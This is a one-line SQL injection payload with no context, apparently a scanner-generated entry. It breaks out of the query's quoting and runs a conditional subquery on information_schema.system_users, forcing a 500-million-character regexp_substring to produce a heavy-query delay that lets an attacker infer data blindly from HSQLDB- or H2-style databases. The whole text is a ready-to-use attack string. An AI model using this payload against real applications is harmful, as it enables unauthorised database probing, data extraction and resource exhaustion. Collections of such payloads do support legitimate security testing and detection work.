1'    )      )       )      (   select    (   case when    (   5451   =   5451   )    then regexp_substring   (   repeat   (   right   (   char   (   5451   )   ,0   )   ,500000000   )   ,null   )    else char   (   108   )   ||char   (   76   )   ||char   (   112   )   ||char   (   116   )    end   )    from information_schema.system_users   )    and     (      (       (   'owga' like 'owga